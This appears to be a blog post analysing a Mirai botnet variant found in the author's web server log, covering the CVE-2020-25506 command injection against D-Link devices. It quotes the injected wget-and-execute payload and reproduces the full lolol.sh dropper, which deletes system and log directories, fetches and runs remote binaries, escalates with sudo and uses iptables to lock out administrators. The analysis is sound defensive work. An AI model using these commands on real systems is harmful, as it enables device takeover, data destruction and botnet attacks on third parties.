Hex dump of Gibe-F worm.

The lolol.sh script and the Mirai Botnet

The Mirai Botnet

Here is an analysis of one of the many variants of the Mirai botnet worm. It starts with a command injection attack on a web service, followed by downloading and execution of a script, followed by binaries for multiple architectures, using the botnet's support infrastructure.

Mirai turns networked Linux devices into remotely controlled bots that can be used in massive DDoS (or Distributed Denial-of-Service) attacks. A major example occurred on 21 October 2016, when the DNS provider corporation Dyn was being flooded with traffic from tens of millions of IP addresses. If you overwhelm DNS service, names cannot be resolved to IP addresses, and we humans can no longer use the Internet.

The botnet was made up largely of IoT or "Internet of Things" devices — IP cameras, home routers, baby monitors, digital video recorders, and printers.

Mirai's creators originally used their malware to overwhelm Minecraft servers and companies offering DDoS mitigation services. They were using Mirai to run a protection racket.

In December 2017, the U.S. Justice Department announced that three men aged 20 to 21 years old had entered guilty pleas in cybercrime cases related to Mirai and other botnets.

Mirai continues to evolve and spread. Its source code is available on GitHub.


This specific exploit variant is CVE-2020-25506, which works against the D-Link DNS-320 FW v2.06B01. It has a CVSS severity score of 9.8, almost the maximum score of 10.

Background and proof-of-concept exploit code are here.

As Palo Alto Networks reports, it's related to attacks against other network security devices including SonicWall SSL-VPN, Netgear ProSAFE Plus, the Netis WF2419 wireless router, and others.

Command Injection

I noticed this line in my /var/www/logs/httpd-access.log, Nginx web server log. This is a command injection attack aimed at Linux targets.

[... many lines deleted ...] - - [09/Jun/2021:12:10:15 +0000] "POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`cd /tmp; wget; chmod 777 lolol.sh; sh lolol.sh` HTTP/1.1" 400 157 "-" - -
[... many lines deleted ...]

The client was, which resolves back to scl-00172.mails--servers.org. That's in a block of addresses belonging to Serverion BV in Brielle, Netherlands.

The requested resource was /cgi-bin/system_mgr.cgi, with some added parameters. My server has no such resource, no /cgi-bin directory at all, and so the hostile client would have been redirected to my 404 error page. But, being a hostile client program and not a browser, it would have ignored that and moved on to the next IP address in its list, searching for a victim.

Three parameter=value strings were added to the URL, as you can see above. Because the request used an HTTP POST request, those strings would be passed to the system_mgr_cgi script's standard input. Separating them out, we see that the first two were:

The third one was the initial attack:
f_ntp_server=`cd /tmp; wget; chmod 777 lolol.sh; sh lolol.sh`
That's a sequence of four Unix-family commands inside backquotes. It attempts to get a server-side process to do command substitution, running that sequence first to generate output, replacing the backquoted string with the output before starting the system_mgr.cgi program.

The backquoted attack string would:

  1. Change to the /tmp directory.
  2. Download a file with wget.
  3. Turn on its execute permission with chmod.
  4. Execute it with sh.

The attack is already exhibiting the common mixture of sophistication and confusion. The chmod isn't needed, because the following step runs the sh shell with the downloaded file as its parameter.

On some distributions (e.g., Oracle and RHEL), /bin/sh is a synbolic link pointing to /bin/bash. On others (e.g., Mint, Raspian, and other Debian-derived distros), it points to /bin/dash.

The lolol.sh Script

I, of course, ran the wget manually and retrieved the lolol.sh script. The script was hosted at, which resolves to situku.e-conteri.com and is in another address block belonging to Serverion BV.

$ wget
[...download output...]
$ cat lolol.sh
sleep 30
rm -rf /tmp
rm -rf /var/run
rm -rf /etc/cron.d
rm -rf /etc/cron.daily/
rm -rf /var/run
rm -rf /etc/init.d
sleep 10
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget; curl -O;cat dark.x86 >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget; curl -O;cat dark.mips >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget; curl -O;cat dark.mpsl >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget; curl -O;cat dark.arm4 >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget; curl -O;cat dark.arm5 >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget; curl -O;cat dark.arm6 >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget; curl -O;cat dark.arm7 >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget; curl -O;cat dark.ppc >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget; curl -O;cat dark.m68k >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget; curl -O;cat dark.sh4 >nginx;chmod +x *;./nginx
sleep 10
sudo su
cd /etc/
sleep 30
rm -rf /tmp
rm -rf /home
rm -rf /var/run
rm -rf /etc/cron.d
rm -rf /etc/cron.daily/
rm -rf /var/run
rm -rf /etc/init.d
rm -rf /var/log
sleep 10
cd /etc/
echo > /etc/cron.d/start
echo "*/10 * * * *   root    PATH="$PATH:/var/run/nginx"" > /etc/cron.d/start
echo > /etc/cron.daily/ng
echo "*/10 * * * *   root    PATH="$PATH:/var/run/nginx"" > /etc/cron.daily/ng
echo > /etc/cron.hourly/nng
echo "*/10 * * * *   root    PATH="$PATH:/etc/nginx"" > /etc/cron.hourly/nng
iptables -F
iptables -A INPUT -p tcp --dport 22 -j DROP
iptables -A INPUT -p tcp --dport 23 -j DROP
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 443 -j DROP
iptables -A INPUT -p tcp --dport 8080 -j DROP
iptables -A INPUT -p tcp --dport 9000 -j DROP
iptables -A INPUT -p tcp --dport 8089 -j DROP
iptables -A INPUT -p tcp --dport 7070 -j DROP
iptables -A INPUT -p tcp --dport 8081 -j DROP
iptables -A INPUT -p tcp --dport 9090 -j DROP
iptables -A INPUT -p tcp --dport 161 -j DROP
iptables -A INPUT -p tcp --dport 5555 -j DROP
iptables -A INPUT -p tcp --dport 9600 -j DROP
iptables -A INPUT -p tcp --dport 21412 -j DROP 

That script:

  1. Sleeps for 30 seconds.
  2. Recursively removes some system directories. As a web server should not be running as root, those removals should fail.
  3. Sleep another 10 seconds.
  4. For each of a list of 10 files:
    • Change into the first of these directories that exist: /tmp, /var/run, /mnt, /root, /etc/init.d, and /.
    • Use wget to download the file.
    • In case wget wasn't installed, try the same thing with curl.
    • Copy the file to one named nginx.
    • Turn on the execute permission bits on everything in the current directory.
    • Execute the newly-downloaded file. Since they are compiled for various architectures, only the appropriate one will run.
  5. Sleep another 10 seconds.
  6. Become the all-powerful root user with sudo su. That could work on systems set up similarly to Debian, if the web server process was owned by a user who belongs to the appropriate group.
  7. Change to the /etc directory.
  8. Sleep another 30 seconds.
  9. Recursively remove more directories. One of them is /var/log, so this would hide details of how the system was exploited.
  10. Sleep another 10 seconds.
  11. Change to the /etc directory again, even though it's already there.
  12. For three files where scheduled jobs are defined, first echo an empty string into the file, making it a zero-length file. Then echo a long string into the file, defining one scheduled job. However...
    • The first four echo commands, trying to truncate and then create the files /etc/cron.d/start and /etc/cron.daily/ng, will fail. The directories /etc/cron.d and /etc/cron.daily no longer exist, as they were deleted a few steps before.
    • The file /etc/cron.hourly/nng will be created, as its directory will still exist. However, the syntax of what is stored there is wrong. That's the syntax for the crontab file, while files in the cron.hourly, cron.daily, cron.weekly, and cron.monthly directories should simply be shell scripts to run at those times. Finally, while the misplaced crontab lines would run something as root every 10 minutes, there is nothing to run. It specifies an addition to the PATH environment variable, but there is no path. And, the script author is mixed up about quotes.
    • The newly downloaded binary will be executing, but this attempt to periodically start a new process if needed will fail. Power-cycling or otherwise rebooting the exploited system will end its botnet behavior.
  13. Then, however, they become crafty. The script uses iptables to first flush out all firewall rules. Then, to add DROP rules to silently drop all packets arriving for 14 TCP ports, cutting the device off from any new inbound connections, and thus any investigation or repair.
    • 22 is SSH
    • 23 is TELNET
    • 80 is HTTP
    • 161 is SNMP
    • 443 is HTTPS
    • 7070 is used by remote desktop and media streaming services
    • 8080 and 8081 are commonly used alternative HTTP ports, and 8089 and 9000 likely are
    • 9090 is used by Cockpit, a browser-based server administration package used by Red Hat and derivatives, plus Arch Linux
    • 5555 is used for device-specific action by some manufacturers, and also by various forms of malware
    • 9600 is used by some industrial programmable logic controllers
    • 21412 is a mystery

The dark.* Binaries

The lolol.sh script tries to download ten files from, an IP address that belongs to Des Capital B.V., also in Brielle, Netherlands.

The files are dark.arm4, dark.arm5, dark.arm6, dark.arm7, dark.m68k, dark.mips, dark.mpsl, dark.ppc, dark.sh4, and dark.x86.

Let's retrieve those and see what they are. The first file in the list was not on the server, but the other nine were. I ran this on June 10; wget sets the timestamp of the downloaded file to its timestamp on the server. This in its fourth day of operation:

$ for a in x86 mips mpsl arm4 arm5 arm6 arm7 ppc m68k sh4
> do
>    wget$a;
> done
[...download output here...]
$ ls -l dark.*
-rw-rw-r-- 1 cromwell cromwell  30204 Jun  7 07:41 dark.arm5
-rw-rw-r-- 1 cromwell cromwell  38156 Jun  7 07:41 dark.arm6
-rw-rw-r-- 1 cromwell cromwell  59396 Jun  7 07:41 dark.arm7
-rw-rw-r-- 1 cromwell cromwell 127288 Jun  7 07:41 dark.m68k
-rw-rw-r-- 1 cromwell cromwell  35816 Jun  7 07:41 dark.mips
-rw-rw-r-- 1 cromwell cromwell  36992 Jun  7 07:41 dark.mpsl
-rw-rw-r-- 1 cromwell cromwell  34056 Jun  7 07:41 dark.ppc
-rw-rw-r-- 1 cromwell cromwell 116020 Jun  7 07:41 dark.sh4
-rw-rw-r-- 1 cromwell cromwell  34696 Jun  7 07:41 dark.x86
$ file dark*
dark.arm5: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header
dark.arm6: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU/Linux), statically linked, no section header
dark.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU/Linux), statically linked, no section header
dark.m68k: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
dark.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
dark.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
dark.ppc:  ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (GNU/Linux), statically linked, no section header
dark.sh4:  ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
dark.x86:  ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
$ openssl sha256 dark*
SHA256(dark.arm5)= 4b745539ee696697a465a86a8f9f70d89c35ddbeef0a0f3244e2d3fe65b43b01
SHA256(dark.arm6)= 03ba8eaacbff2ae82b2f834b47fc055127733116eb7ed6a95fc3cbfa243135ef
SHA256(dark.arm7)= 75612082a5eb445067fc4e8ba155b13d07786930e1f1528ded4228294ff84c0d
SHA256(dark.m68k)= c22292b2a99aa62865bdcb961be4ca9d4605c04359373af5122693265d7664fc
SHA256(dark.mips)= 8b028d9bba07127393e17147420348012000cf1b877d4e9544476ac7d23921af
SHA256(dark.mpsl)= 701e8e574a0dd36e0c28628721496a57a48f94e49a60b354520f7127da76b6f1
SHA256(dark.ppc)= e27d03679f4dc02cc32230c782ed6883af0086220817bf0d4578e5aa0ffc43c2
SHA256(dark.sh4)= 3be8bc02a96d2f4cd39b85b3d4d2eadb11558c580814c04785d83c12992a68d3
SHA256(dark.x86)= 483f452d2ccf44866dbb42a7cf5213a666eed57b6e78fca8db32861452f94cb2

I wonder, what else is on that web server?

The URL http://212/192.241.72/ returns a "Forbidden" error page, "You don't have permission to access /bins/ on this server."

OK, lets remove the "bins" and see what happens. Ah:

Apache 'It Works' testing page on CentOS.

It looks like the system at was installed from CentOS media, with the Apache web server installed and enabled. But then there was no further maintenance. The unattended system was taken over by the botnet operators.

Hackers run bots that prowl the Internet, trying to connect to TCP/80 and retrieve some form of "It worked!" testing page. Those are attractive targets for exploitation.